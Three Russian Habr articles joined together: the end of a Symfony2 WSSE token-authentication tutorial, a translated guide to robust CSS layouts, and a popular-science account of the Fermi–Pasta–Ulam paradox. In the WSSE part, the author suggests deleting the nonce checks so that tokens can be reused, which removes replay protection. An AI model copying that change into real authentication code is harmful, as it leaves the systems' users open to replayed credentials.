encodeHashAsBase64: true
iterations: 1
anonymous: true
```
#### Код генерации токена в контроллере:
```
src\Acme\DemoBundle\Controller\SecurityController.php
//...
$created = date('c');
$nonce = substr(md5(uniqid('nonce_', true)), 0, 16);
$nonceHigh = base64_encode($nonce);
$salted = $nonce . $created . $user->getPassword() . "{" . $user->getSalt() . "}";
$passwordDigest = hash('sha512', $salted, true);
$header = "UsernameToken Username=\"{$username}\", PasswordDigest=\"{$passwordDigest}\", Nonce=\"{$nonceHigh}\", Created=\"{$created}\"";
$view->setHeader("Authorization", 'WSSE profile="UsernameToken"');
$view->setHeader("X-WSSE", "UsernameToken Username=\"{$username}\", PasswordDigest=\"{$passwordDigest}\", Nonce=\"{$nonceHigh}\", Created=\"{$created}\"");
$data = array('WSSE' => $header);
//...
```
Очень хотелось, чтобы такая конфигурация заработала из коробки, но так не случилось. Разберемся почему. Выяснилось, что в стандартном провайдере от Escapestudios есть такие строки:
```
WSSEAuthenticationBundle/Security/Core/Authentication/Provider/Provider.php
//...
//validate secret
$expected = $this->encoder->encodePassword(
sprintf(
'%s%s%s',
base64_decode($nonce),
$created,
$secret
),
""
);
```
Интерес привлекают кавычки в предпоследней строке, если вместо них добавить соль, то все чудесным образом начинает работать. Давайте перепишем этот провайдер в своем бандле и подправим ситуацию:
```
src\Acme\DemoBundle\Security\Authentication\Provider\WsseProvider.php
namespace Acme\DemoBundle\Security\Authentication\Provider;
use Escape\WSSEAuthenticationBundle\Security\Core\Authentication\Provider\Provider;
use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface;
use Symfony\Component\Security\Core\Exception\CredentialsExpiredException;
use Symfony\Component\Security\Core\Exception\NonceExpiredException;
/**
* Class WsseProvider
* @package Acme\DemoBundle\Security\Authentication\Provider
*/
class WsseProvider extends Provider implements AuthenticationProviderInterface
{
/**
* @param $user \Symfony\Component\Security\Core\User\UserInterface
* @param $digest
* @param $nonce
* @param $created
* @param $secret
*
* @return bool
* @throws \Symfony\Component\Security\Core\Exception\CredentialsExpiredException
* @throws \Symfony\Component\Security\Core\Exception\NonceExpiredException
*/
protected function validateDigest($user, $digest, $nonce, $created, $secret)
{
//check whether timestamp is not in the future
if (strtotime($created) > time()) {
throw new CredentialsExpiredException('Future token detected.');
}
//expire timestamp after specified lifetime
if (time() - strtotime($created) > $this->getLifetime()) {
throw new CredentialsExpiredException('Token has expired.');
}
//validate that nonce is unique within specified lifetime
//if it is not, this could be a replay attack
if ($this->getNonceCache()->contains($nonce)) {
throw new NonceExpiredException('Previously used nonce detected.');
}
$this->getNonceCache()->save($nonce, time(), $this->getLifetime());
//validate secret
$expected = $this->getEncoder()->encodePassword(
sprintf(
'%s%s%s',
base64_decode($nonce),
$created,
$secret
),
$user->getSalt()
);
return $digest === $expected;
}
}
```
Хочу заметить, что в последней, на момент написания статьи, версии бандла отключить использование nonces в конфигурации не представляется возможным, и полученный токен валиден только один раз. Чтобы это изменить строки проверки и добавления nonce можно просто удалить.
Добавим этот класс в настройки:
```
app/config/config.yml
# Escape WSSE authentication configuration
escape_wsse_authentication:
authentication_provider_class: Acme\DemoBundle\Security\Authentication\Provider\WsseProvider
authentication_listener_class: Escape\WSSEAuthenticationBundle\Security\Http\Firewall\Listener
authentication_entry_point_class: Escape\WSSEAuthenticationBundle\Security\Http\EntryPoint\EntryPoint
authentication_encoder_class: Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder
```
Теперь давайте немножко улучшим защиту. В настройках энкодера есть такой параметр iterations:
```
app/config/security.yml
security:
firewalls:
wsse_secured:
wsse:
encoder: #digest algorithm
iterations: 1
```
Этот параметр отвечает за количество итераций хэширования при кодировании/декодировании токена. По умолчанию он равен «1». Для сравнения, при хэшировании пароля в Symfony2 он составляет «5000» (Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder).
Для реализации подобного функционала внесем некоторые изменения в контроллер и конфигурацию:
```
app/config/security.yml
parameters:
wsse_iterations: 300
security:
firewalls:
wsse_secured:
wsse:
encoder: #digest algorithm
iterations: %wsse_iterations%
src\Acme\DemoBundle\Controller\SecurityController.php
//...
$created = date('c');
$nonce = substr(md5(uniqid('nonce_', true)), 0, 16);
$nonceHigh = base64_encode($nonce);
$container = $this->get('service_container');
$iterations = $container->getParameter('wsse_iterations');
$salted = $nonce . $created . $user->getPassword() . "{" . $user->getSalt() . "}";
$passwordDigest = hash('sha512', $salted, true);
for ($i = 1; $i < $iterations; $i++) {
$passwordDigest = hash('sha512', $passwordDigest . $salted, true);
}
$passwordDigest = base64_encode($passwordDigest);
$header = "UsernameToken Username=\"{$username}\", PasswordDigest=\"{$passwordDigest}\", Nonce=\"{$nonceHigh}\", Created=\"{$created}\"";
$view->setHeader("Authorization", 'WSSE profile="UsernameToken"');
$view->setHeader(
"X-WSSE",
"UsernameToken Username=\"{$username}\", PasswordDigest=\"{$passwordDigest}\", Nonce=\"{$nonceHigh}\", Created=\"{$created}\""
);
$data = array('WSSE' => $header);
//...
```
Фактически, основные моменты в этой статье сводятся к замене одной строки в провайдере, однако, некоторые дополнения и их описание тоже вполне, на мой взгляд, к месту. Надеюсь кому-то пригодится.
**Приглашаю на курсы** по веб-разработке от бизнес-школы Digitov, которые веду Я: [Хочу стать Junior PHP Developer!](http://digitov.com/course/programming-Junior-PHP-Developer-courses) (для новичков), [Symfony 2. Гибкая разработка](http://digitov.com/course/php-symfony-courses) (для специалистов), а также, которые ведут мои коллеги: [Разработка веб-приложений на Python / Django](http://digitov.com/course/programming-python-django-courses) (для новичков) и [Ruby on Rails. По рельсам к профессиональной разработке](http://digitov.com/course/programming-ruby-on-rails-courses) (для новичков). Подписывайтесь на курсы сейчас и сможете купить их со скидкой
**Автор**: Сергей Харланчук, Senior PHP Developer / Team Lead, компания [«SECL GROUP» / «Internet Sales Technologies»](http://seclgroup.ru/) | https://habr.com/ru/post/209154/ | null | ru | null |
# Безопасный CSS, или как писать универсальные стили
Предисловие: при написании CSS-стилей, необходимо сразу учитывать, что контент страницы может быть динамическим, чтобы не возникла ситуация, где мы добавили чуть больше текста, или уменьшили ширину экрана, и вёрстка поплыла. Я наткнулся на хорошую англоязычную статью с примерами универсальных CSS-стилей для часто встречающихся ситуаций, и решил, что эта ценная информация для начинающих верстальщиков должна быть и на русском языке. Так появился этот перевод.
Оглавление:
-----------
*(кликабельно)*
1. [Умный flex-контейнер](#el1)
2. [Расстояние](#el8)
3. [Длинный контент](#el2)
4. [Предотвращение искажения изображения](#el3)
5. [Блокировка цепочки прокрутки](#el4)
6. [Резервное значение CSS-переменной](#el5)
7. [Использование фиксированной ширины или высоты](#el6)
8. [Отключение повторения фона](#el7)
9. [Вертикальные @media-запросы](#el9)
10. [Использование justify-content: space-between](#el10)
11. [Текст поверх изображений](#el11)
12. [Будьте осторожны с фиксированными значениями в CSS-Grid](#el12)
13. [Показываем полосу прокрутки только когда это необходимо](#el13)
14. [Ширина контента с полосой прокрутки](#el14)
15. [Минимальный размер контента в CSS-Flexbox](#el15)
16. [Минимальный размер содержимого в CSS-Grid](#el16)
17. [Auto Fit против Auto Fill в CSS-Grid minmax](#el17)
18. [Максимальная ширина IMG](#el18)
19. [Использование position: sticky в CSS-Grid](#el19)
20. [Группировка селекторов для разных браузеров](#el20)
### Умный flex-контейнер
CSS flexbox — одна из самых полезных функций компоновки CSS на сегодняшний день. Очень удобно добавить `display: flex` в оболочку и расположить дочерние элементы рядом друг с другом.
Однако, когда места недостаточно, эти дочерние элементы по умолчанию не переносятся на новую строку. Нам нужно изменить это поведение с помощью `flex-wrap: wrap`
Вот типичный пример. У нас есть группа параметров, которые должны отображаться рядом друг с другом.
.options-list { display: flex; }Когда контейнер меньше чем его содержимое, будет отображена горизонтальная прокрутка. Этого следует ожидать, и на самом деле это не является «проблемой».
Обратите внимание, что элементы все еще рядом друг с другом. Нам нужно чтобы элементы при уменьшении ширины контейнера переносились на другую строку, и не выходили за рамки самого контейнера. Для этого следует написать так:
```
.options-list {
display: flex;
flex-wrap: wrap;
}
```
отлично, теперь выглядит адекватно!### Расстояние
Мы, верстальщики, должны учитывать разную длину контента. Это означает, что отступы должны быть добавлены к элементу даже если кажется, что они не нужны.
В этом примере у нас есть заголовок раздела и кнопка действия справа. Сейчас выглядит нормально. Но давайте посмотрим, что прозойдёт, если заголовок будет длиннее:
Заметили, что текст расположен слишком близко к кнопке действия? Возможно, вы думаете о многострочном переносе, но я вернусь к этому в другом разделе. А пока сосредоточимся на отступах.
```
.section__title {
margin-right: 1rem; /* Отступ справа */
}
```
Как обрезать текст точками, читаем ниже:
### Длинный контент
Учет длинного контента важен при построении макета. Как вы могли видеть в предыдущем примере, название раздела усекается, если оно слишком длинное. Это необязательно, но для некоторых пользовательских интерфейсов это важно учитывать.
Для меня это "безопасный" подход к CSS. Приятно получить возможность исправить «проблему» до того, как она произойдет.
Вот список имен людей, и сейчас он выглядит идеально.
Однако поскольку это контент, созданный пользователями, нам нужно продумать стили на случай, если что-то будет слишком длинным.
См. следующий пример:
Важно, чтобы элементы выглядели однотипно. Для этого мы должны запретить перенос слов, и обрезать часть слов, если они выходят за ширину элемента. Для этого мы напишем:
```
.username {
white-space: nowrap; /* Запрещаем перенос строк */
overflow: hidden; /* Обрезаем все, что не помещается в область */
text-overflow: ellipsis; /* Добавляем многоточие в конце */
}
```
Другое дело!### Предотвращение искажения изображения
Если изображение не соответствует размерам, которые мы указали в CSS, оно по умолчанию будет сжиматься или растягиваться. Рассмотрим пример - вот карточка еды, в которой изображение соответствует размерам области:
Когда пользователь загружает изображение другого размера, оно будет искажено. Это нехорошо! Посмотрите, как растянуто изображение:
фото искажается, т.к. пытается заполнить всю область карточки целикомЧтобы изображение не искажалось. мы используем object-fit:
```
.card__image { object-fit: cover; }
```
На уровне проекта я предпочитаю добавлять `object-fit`ко **всем изображениям** , чтобы избежать неожиданных результатов изображения.
```
img { object-fit: cover; }
```
Обратите внимание, что изображение заполняет собой всю область img, а те части изображения которые не умещаются, мы не увидим.
### Блокировка цепочки прокрутки
Вы когда-нибудь открывали модальное окно и начинали скроллить, а затем, когда вы доходите до конца и продолжаете прокручивать, содержимое под модальным окном (элемент body) будет прокручиваться? Это называется **цепочкой прокрутки** (scroll chaining).
В последние годы было несколько хаков, чтобы избежать этого, но теперь мы можем сделать это только с помощью CSS, благодаря свойству `overscroll-behavior`
На следующем рисунке вы видите поведение цепочки прокрутки по умолчанию.
Чтобы подобной ситуации не возникало, мы добавим следующие стили к любому компоненту, который нуждается в прокрутке (например, компонент чата, мобильное меню и т. д.). Преимущество этих свойств в том, что они никак себя не проявляют, если прокрутка вовсе отсутствует.
```
.modal__content {
overscroll-behavior-y: contain;
overflow-y: auto;
}
```
### Резервное значение CSS-переменной
Переменные CSS все чаще используются в веб-дизайне. Существует метод, который мы можем применить чтобы вёрстка не поплыла, если значение переменной CSS по какой-то причине было пустым.
Это особенно полезно при передаче значения переменной CSS через JavaScript. Вот пример:
```
.message__bubble {
max-width: calc(100% - var(--actions-width));
}
```
Переменная `--actions-width`используется внутри `calc()`функции, и ее значение исходит из JavaScript. Предположим, что JavaScript по какой-то причине дал сбой, что произойдет? Будет `max-width` ошибочно назначено `none`.
Мы можем заранее избежать этого добавив резервное значение в конструкцию`var()`.
```
.message__bubble {
max-width: calc(100% - var(--actions-width, 70px));
}
```
Таким образом, если переменная не определена, будет использован резервный вариант - `70px`. Этот подход нужно использовать только когда существует вероятность, что переменная может выйти из строя (например, исходящая из Javascript). В противном случае он не нужен.
### Использование фиксированной ширины или высоты
Одной из распространенных вещей, которые ломают макет, является использование фиксированной ширины или высоты с элементом, который имеет содержимое разной длины.
Фиксированная высота
--------------------
Я часто вижу элементы с фиксированной высотой и содержимым, превышающим эту высоту, что приводит к нарушению макета. Не знаете, как это выглядит? Вот.
```
.block {
height: 350px;
}
```
Чтобы избежать утечки контента из блока, нам нужно использовать `min-height`вместо `height`:
```
.block {
min-height: 350px;
}
```
Таким образом, если содержимое станет больше, макет не сломается - контейнер станет больше по высоте### Фиксированная ширина
Вы когда-нибудь видели кнопку, контент которой расположен слишком близко к левому и правому краям? Это связано с использованием фиксированной ширины.
```
.button {
width: 100px;
}
```
Если текст кнопки длиннее `100px`, он будет близко к краям. Если текст слишком длинный, он будет просачиваться из кнопки. Это нехорошо!
Чтобы исправить это, мы можем просто заменить `width`на `min-width`.
```
.button {
min-width: 100px;
}
```
### Отключение повторения фона
Зачастую при использовании большого изображения в качестве фона мы забываем учитывать случай, когда дизайн просматривается на большом экране. Этот фон будет **повторяться** по умолчанию.
В основном это не будет видно на экране ноутбука, но его можно четко увидеть на больших экранах.
Чтобы заранее избежать такого поведения, обязательно нужно написать, что фон повторяться не должен!
```
.image {
background-image: url('..');
background-repeat: no-repeat; /* запрет повторения изображения */
}
```
### Вертикальные @media-запросы
Конечно проще сверстать компонент и протестировать его, только меняя ширину браузера. Однако тестирование по высоте браузера может выявить некоторые интересные проблемы.
Вот пример, который я видел несколько раз. У нас есть боковая секция с основным и второстепенным меню. Второстепенное меню должно располагаться в самом низу боковой секции. Разработчик добавил `position: sticky` к второстепенному меню, чтобы оно могло прилипать к низу. На первый взгляд всё хорошо:
Проблема в том, что если высота браузера будет меньше, все сломается. Обратите внимание, как два меню наползают друг на друга:
Используя вертикальные медиа-запросы CSS, мы можем избежать этой проблемы.
```
@media (min-height: 600px) {
.secondary_menu {
position: sticky;
bottom: 0;
}
}
```
Таким образом, второстепенное меню будет привязано к нижней части **только в том** **случае, если высота области просмотра больше или равна 600px** . Гораздо лучше, правда?
Вероятно, есть лучшие способы реализации такого поведения (например, использование `margin-auto`), но в этом примере я сосредоточился на вертикальном запросе.
### Использование justify-content: space-between
В flex-контейнере вы можете использовать `justify-content`для разделения дочерних элементов друг от друга. При определенном количестве дочерних элементов макет будет выглядеть нормально. Однако, когда они увеличиваются или уменьшаются, макет будет выглядеть странно.
Рассмотрим следующий пример:
У нас есть гибкий контейнер с четырьмя элементами. Расстояние между каждым элементом не является следствием использования`gap`или `margin`, оно существует, потому что в контейнере есть `justify-content: space-between`.
```
.wrapper {
display: flex;
flex-wrap: wrap;
justify-content: space-between;
}
```
Когда количество элементов меньше четырех, вот что произойдет:
Это нехорошо. У данной проблемы есть несколько разных решений
* Margin
* Flexbox gap (используйте с осторожностью)
* Padding (может применяться к родительскому элементу каждого дочернего элемента)
* Добавление пустых элементов в качестве разделителя
Для простоты я буду использовать `gap`:
```
.wrapper {
display: flex;
flex-wrap: wrap;
gap: 1rem;
}
```
### Текст поверх изображений
При использовании текста поверх изображения важно учитывать случай, когда изображение не загружается. Как будет выглядеть текст?
Вот пример:
Текст выглядит читаемым, но когда изображение не загружается, белый текст теряется на фоне белой страницы:
Мы легко исправим это, добавив фоновый цвет к `![]()`элементу. Этот фон будет виден только в том случае, если изображение не загрузится. Разве это не круто?
```
.card__img {
background-color: grey;
}
```
### Будьте осторожны с фиксированными значениями в CSS-Grid
Скажем, у нас есть сетка, которая содержит боковую секцию и основную. CSS выглядит так:
```
.wrapper {
display: grid;
grid-template-columns: 250px 1fr;
gap: 1rem;
}
```
Вёрстка поплывёт при небольших размерах окна просмотра из-за нехватки места. Чтобы избежать такой проблемы, всегда используйте медиа-запрос при использовании сетки CSS, как на примере ниже:
```
@media (min-width: 600px) {
.wrapper {
display: grid;
grid-template-columns: 250px 1fr;
gap: 1rem;
}
}
```
### Показываем полосу прокрутки только когда это необходимо
К счастью, мы можем управлять отображением полосы прокрутки или ее отсутствием не только в случае наличия длинного контента. Настоятельно рекомендуется использовать `auto`в качестве значения для `overflow`.
Рассмотрим следующий пример:
Обратите внимание, что даже если содержимое короткое, полоса прокрутки видна. Это не хорошо для пользовательского интерфейса. Как дизайнер, я просто сбиваюсь с толку, видя полосу прокрутки, когда она не нужна.
При `overflow-y: auto` полоса прокрутки будет видна только в том случае, если содержимое длинное. Иначе её там не будет:
```
.element {
overflow-y: auto;
}
```
### Ширина контента с полосой прокрутки
Еще одна вещь, связанная с прокруткой - её ширина. Взяв предыдущий пример, когда содержимое становится длиннее, добавление полосы прокрутки вызовет сдвиг макета. Причина смены макета заключается в том, чтобы зарезервировать место для полосы прокрутки.
Рассмотрим следующий пример:
Обратите внимание, как сдвинулось в ширину содержимое, в результате добавления полосы прокрутки. Мы можем зафиксировать ширину контента, чтобы скроллбар её не менял. Для этого напишем стили:
```
.element {
scrollbar-gutter: stable;
}
```
### Минимальный размер контента в CSS-Flexbox
Если во flex-контейнере есть текстовый элемент или изображение, длина которого превышает длину самого элемента, браузер не будет их уменьшать. Это поведение по умолчанию для flexbox.
Рассмотрим следующий пример:
```
.card {
display: flex;
}
```
Если в заголовке очень длинное слово, оно не будет переноситься на новую строку.
Даже если мы используем `overflow-wrap: break-word`, это не сработает.
Чтобы изменить это поведение, нам нужно установить `min-width` дочернего блока на `0`, из-за того, что значение по умолчанию`min-width` равно `auto`.
```
.card__title {
overflow-wrap: break-word;
min-width: 0;
}
```
То же самое относится и к flex-контейнеру, но вместо `min-width: 0` мы будем использовать `min-height: 0` Результат:
### Минимальный размер содержимого в CSS-Grid
Подобно flexbox, CSS-сетка имеет минимальный размер содержимого по умолчанию для своих дочерних элементов, который равен`auto`. Это означает, что если есть элемент, который больше, чем элемент сетки, сетка переполнится.
В приведенном выше примере у нас есть карусель в основном разделе. Для контекста, вот HTML и CSS примера:
```
```
```
@media (min-width: 1020px) {
.wrapper {
display: grid;
grid-template-columns: 1fr 248px;
grid-gap: 40px;
}
}
.carousel {
display: flex;
overflow-x: auto;
}
```
Поскольку карусель представляет собой flex-контейнер, который не переносит собственное содержимое на другую строку, её ширина больше, чем секция в которой она находится, в результате этого присутствует горизонтальная прокрутка.
Чтобы исправить это, у нас есть три разных решения:
* Использование`minmax()`
* Применение `min-width`к элементу сетки
* Добавление `overflow: hidden`элемента в сетку
В качестве "безопасного" CSS я бы выбрал вариант который использует функцию `minmax()`
```
@media (min-width: 1020px) {
.wrapper {
display: grid;
grid-template-columns: minmax(0, 1fr) 248px;
grid-gap: 40px;
}
}
```
### Auto Fit против Auto Fill
При использовании функции CSS-Grid `minmax()`важно выбрать между использованием параметров `auto-fit`или `auto-fill`. При неправильном использовании это может привести к неожиданным результатам.
При использовании функции `minmax()`параметр`auto-fit` расширяет элементы сетки, чтобы заполнить доступное пространство. В свою очередь`auto-fill`сохранит доступное пространство зарезервированным, без изменения ширины элементов сетки. Наглядный пример:
При этом, использование `auto-fit`может привести к тому, что элементы сетки будут слишком широкими, особенно если они меньше ожидаемого. Рассмотрим следующий пример.
```
.wrapper {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
grid-gap: 1rem;
}
```
Если используется только один элемент сетки `auto-fit`, он будет расширяться, чтобы заполнить ширину контейнера:
В большинстве случаев такое поведение не требуется, поэтому лучше использовать `auto-fill`
```
.wrapper {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
grid-gap: 1rem;
}
```
### Максимальная ширина IMG
Не забудьте установить `max-width: 100%`для **всех** изображений, чтобы они не вылезали за пределы блоков, в которых находятся. Это можно добавить к предыдущим глобальным стилям для img, вот что получится:
```
img {
max-width: 100%;
object-fit: cover;
}
```
### Использование position: sticky в CSS-Grid
Вы когда-нибудь пробовали использовать `position: sticky`с дочерним элементом grid-контейнера? По умолчанию, элементы grid **растягиваются**. В результате боковой элемент в приведенном ниже примере равен высоте основной секции.
Чтобы заставить его работать должным образом, вам нужно сбросить свойство `align-self`
```
aside {
align-self: start;
position: sticky;
top: 1rem;
}
```
### Группировка селекторов для разных браузеров
Не рекомендуется группировать селекторы, предназначенные для работы с разными браузерами. Например, для стилизации заполнителя ввода требуется несколько селекторов для каждого браузера. [Если мы сгруппируем селекторы, согласно w3c](https://www.w3.org/TR/selectors/#grouping) **все правило будет недействительным.**
```
/* Не делайте так, пожалуйста! */
input::-webkit-input-placeholder,
input:-moz-placeholder {
color: #222;
}
```
Вместо этого напишите так:
```
input::-webkit-input-placeholder {
color: #222;
}
input:-moz-placeholder {
color: #222;
}
```
Это список безопасных техник CSS, которые я постоянно использую в своих проектах.
**Спасибо** Ахмаду Шадиду за качественный контент!
*(P.S.: Во многих местах я перевёл своими словами, более доступно для русскоговорящего читателя.)*
От переводчика: подытоживая текст статьи, и многолетний опыт вёрстки, хочу дать совет читателям верстальщикам: когда верстаете, всегда думайте о том, какие ситуации могут возникнуть при использовании вашей вёрстки. Что будет, если текста будет сильно больше или сильно меньше. Как элементы себя поведут на устройствах с разной шириной и высотой экранов (кстати для тестирования последнего рекомендую бесплатную программу Responsively). Старайтесь избегать дублирования кода - создавайте общие css-классы для часто используемых стилей или наборов стилей. Используйте препроцессоры (SCSS например), если ещё не использовали их, поверьте, это очень удобно. И самое главное - наслаждайтесь процессом! | https://habr.com/ru/post/648537/ | null | ru | null |
# Парадокс, положивший начало научным вычислениям
[](https://habr.com/ru/company/ruvds/blog/583120/)
В 1953 году научные сотрудники Лос-Аламосской национальной лаборатории подбирали задачу для одного из первых электронных компьютеров. Выбор пал на простейшую одномерную систему — цепочку грузиков соединённых пружинами с нелинейной упругостью. Результаты моделирования вполне соответствовали ожиданиям: после возбуждения основного колебательного режима систему предоставляли самой себе, после чего энергия равномерно распределялась по остальным колебательным модам, и движения цепочки обретали характер белого шума.
Но однажды, из-за затянувшегося обеденного перерыва, машину оставили работать дольше обычного. Спохватившись, учёные вернулись в компьютерный зал и заметили, что расчётная система, пробыв некоторое время в состоянии теплового равновесия, вышла из него, а энергия в процессе эволюции периодично кочевала между наиболее длиноволновыми модами, практически не передаваясь на коротковолновые колебания. И в конце концов, система возвращалась из хаоса в исходное состояние! Этот парадокс ознаменовал собой рождение компьютерного моделирования, теории детерминированного хаоса и солитоники.
В своём предисловии к LOS ALAMOS-1940, которое было перепечатано в собрании сочинений [Энрико Ферми](https://ru.wikipedia.org/wiki/%D0%A4%D0%B5%D1%80%D0%BC%D0%B8,_%D0%AD%D0%BD%D1%80%D0%B8%D0%BA%D0%BE) в 1965 году, [Станислав Улам](https://ru.wikipedia.org/wiki/%D0%A3%D0%BB%D0%B0%D0%BC,_%D0%A1%D1%82%D0%B0%D0%BD%D0%B8%D1%81%D0%BB%D0%B0%D0%B2) писал, что Ферми давно был очарован фундаментальной загадкой статистической механики, которую физики называют «стрелой времени». Представьте себе съёмку столкновения двух бильярдных шаров: они катятся навстречу друг другу, сталкиваются и разлетаются в разные стороны. Теперь прокрутите плёнку в обратном направлении. Движение мячей выглядит совершенно естественно, и почему бы и нет: законы Ньютона, уравнения, управляющие движением шаров, одинаково хорошо работают как для положительного, так и для отрицательного направления времени. Теперь представьте себе начало игры в американский пул, где 15 шаров аккуратно сложены в треугольник, а кий стремительно отправляет в него биток, чтобы рассредоточить прицельные шары по всему столу. Если мы снимем столкновение и возникший хаос, никто из тех, кто когда-либо держал в руках бильярдный кий, не примет фильм, идущий вперёд, за фильм, идущий в обратном направлении: шары никогда не восстановят своё первоначальное треугольное расположение. Однако законы, управляющие всеми столкновениями, остаются теми же, что и в случае двух сталкивающихся бильярдных шаров. Что же придаёт стреле времени направление?
По причинам, которые мы рассмотрим ниже, Ферми считал, что ключевым моментом является нелинейность — отступление от простой ситуации, когда выход физической системы линейно пропорционален входу. Он знал, что найти решения нелинейных уравнений движения с помощью карандаша и бумаги будет слишком сложно. К счастью, поскольку он работал в Лос-Аламосе в начале 1950-х годов, у него был доступ к одному из самых ранних цифровых компьютеров. Учёные из Лос-Аламоса в шутку назвали его [MANIAC](https://ru.wikipedia.org/wiki/MANIAC_I) (*MAthematical Numerical Integrator And Computer*). Он выполнял вычисления методом грубой силы, позволяя ученым решать задачи (в основном связанные с секретными исследованиями ядерного оружия), которые иначе были недоступны для анализа. Парадокс Ферми-Паста-Улама (ФПУ) был одним из первых не секретных научных исследований, проведённых с помощью MANIAC, и он положил начало эпохе того, что иногда называют экспериментальной математикой.
Словосочетание «экспериментальная математика» может показаться оксюмороном: всем известно, что достоверность математики не зависит от того, что происходит в физическом мире. Тем не менее, оригинальное исследование ФПУ можно с полным основанием назвать рождением экспериментальной математики, под которой мы понимаем компьютерные исследования, разработанные для того, чтобы дать понимание сложных математических и физических проблем, которые недоступны, по крайней мере, на начальном этапе, для более традиционных форм анализа.
В настоящее время вычислительные исследования сложных (как правило, нелинейных) задач столь же обыденны, сколь и необходимы, а компьютер занял достойное место наряду с физическим экспериментом и теоретическим анализом в качестве инструмента для изучения множества явлений в естественных, технических и математических науках. Строгие математические доказательства, такие как доказательство знаменитой "[задачи о четырёх красках](https://habr.com/ru/post/346710/)", теперь проводятся с помощью компьютеров. В гидродинамике компьютерные визуализации сложных, зависящих от времени потоков имеют решающее значение для выявления глубинных физических механизмов. Современные эксперименты в физике конденсированного вещества, наблюдения в астрофизике и данные в биоинформатике было бы невозможно интерпретировать без компьютеров. Со времени первого эксперимента ФПУ прошло много лет, и в этом свете становится особенно важно понять, как разворачивалась их новаторская работа.
Вместе с Джоном Паста и Уламом, Ферми предложил исследовать, как он предполагал, очень простую нелинейную динамическую систему — цепь точечных масс, соединённых пружинами, для которой движение разрешено только вдоль линии цепи. Идеализированный набор масс и пружин не испытывал трения или внутреннего нагрева, поэтому они могли колебаться вечно без потери энергии. Однако пружины этой теоретической системы были не из тех, что изучают на вводных курсах физики: создаваемая ими восстанавливающая сила не была линейно пропорциональна величине сжатия или растяжения. Вместо этого в математическую зависимость были включены нелинейные компоненты между величиной деформации и результирующей восстанавливающей силой.
*Ферми, Паста и Улам смоделировали серию масс, соединённых друг с другом пружинами. Массы движутся вперёд и назад согласно закону движения Ньютона f = ma (сила равна массе, умноженной на ускорение) вдоль соединяющей их линии. Здесь соответствующие силы — это восстанавливающие силы, приложенные пружинами. Новизна и увлекательность исследования заключается в том, что восстанавливающие силы нелинейно зависели от степени сжатия или растяжения пружины.*
Ключевой вопрос интересующий исследователей заключался в том, сколько времени потребуется колебаниям нелинейных пружин, чтобы прийти к равновесию. Равновесие, которого они ожидали, аналогично состоянию теплового равновесия в газе. В одноатомном газе, таком как гелий, тепловая (кинетическая) энергия молекул при равновесии равномерно распределяется между тремя возможными компонентами движения, которые они могут иметь: вдоль осей x, y или z. Например, не будет существенного различия в количестве атомов прыгающих вверх-вниз и прыгающих влево-вправо.
Это понятие равномерного распределения энергии между различными способами движения является основополагающим. Это предписание, известное как теорема статистической механики о [равнораспределении](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%BE_%D1%80%D0%B0%D0%B2%D0%BD%D0%BE%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B8), можно применить к молекулам более сложным, чем похожий на бильярдный шар гелий, и способным распределять энергию между вращательными или колебательными движениями (*[Vibration of Molecules CHEM Study](https://www.youtube.com/watch?v=3RqEIr8NtMI) — хорошее видео для понимания (ком. перев.)* ). Применение теоремы о равнораспределении позволяет физикам рассчитывать такие вещи, как теплоемкость газа, на основе базовой теории.
Для начала система была запущена в одном простом режиме колебаний. Если бы системой была цепочка линейных пружин (без демпфирующих сил), то этот один режим сохранялся бы бесконечно. Однако при использовании нелинейных пружин могут возбуждаться различные режимы колебаний. Учёные ожидали, что со временем система «термализуется»: колеблющиеся массы распределят свою энергию поровну между всеми различными режимами колебаний, которые возможны для этой системы.
*Ферми, Паста и Улам инициализировали систему задав энергию только в самой низкой моде колебаний (1) и рассчитали, что из этого получится. Они ожидали, что в конечном счёте энергия будет распределена поровну между всеми возможными режимами. Вместо этого они обнаружили, что после распределения между несколькими модами низкого порядка, очень большая часть энергии позже возвращается в режим, который они использовали для инициализации системы. (Цвета соответствуют аналогичным режимам, показанным на следующем рисунке) Это наблюдение, которое они скромно назвали «маленьким открытием», ознаменовало рождение экспериментальной математики*
Визуализация возможных мод колебаний немного сложна для цепочки масс, но легко увидеть возникновение различных колебательных режимов, например, в струне скрипки. Один лад соответствует основному тону, в котором смещение струны максимально в центре и уменьшается по мере приближения к её закреплённым концам. Другой лад — первый гармонический (на октаву выше), при котором одна половина струны движется вверх, а другая — вниз, и так далее. Вибрирующая струна имеет бесконечное число мод, но система ФПУ — конечное (равное числу присутствующих масс).
 Ферми, Паста и Улам ожидали, что энергия в их системе «масса-пружина» в итоге будет распределена поровну между различными модами движения, которые аналогичны модам вибрации струны скрипки. Основная мода колебаний такой струны (фиолетовая) соответствует слышимой ноте. Более высокочастотные колебания порождают различные гармоники этой ноты. Показанные здесь движения соответствуют второй (розовой), третьей (зелёной), четвёртой (синей) и пятой (оранжевой) гармоникам.
Для проведения своего исследования ФПУ (вместе с Мэри Цингу, которая, хотя и не является автором отчёта, внесла значительный вклад в работу) рассмотрели различные количества масс (16, 32 или 64) в своих вычислительных экспериментах. Затем они численно решили связанные нелинейные уравнения, которые управляют движением масс. (Они могли легко вывести эти уравнения из нелинейной функции пружины и известного закона Ньютона f = ma.) Учёные задали MANIAC'у время, соответствующее большому количеству периодов основного режима. Они были совершенно ошеломлены результатами. Первоначально энергия распределялась между несколькими различными режимами. По истечении большего (смоделированного) времени их система вернулась в состояние, напоминающее исходное. Действительно, 97 процентов энергии в системе в конечном счёте было восстановлено в том режиме, который они изначально установили. Словно по волшебству бильярдные шары собрались из своего разрозненного состояния в идеальный исходный треугольник!
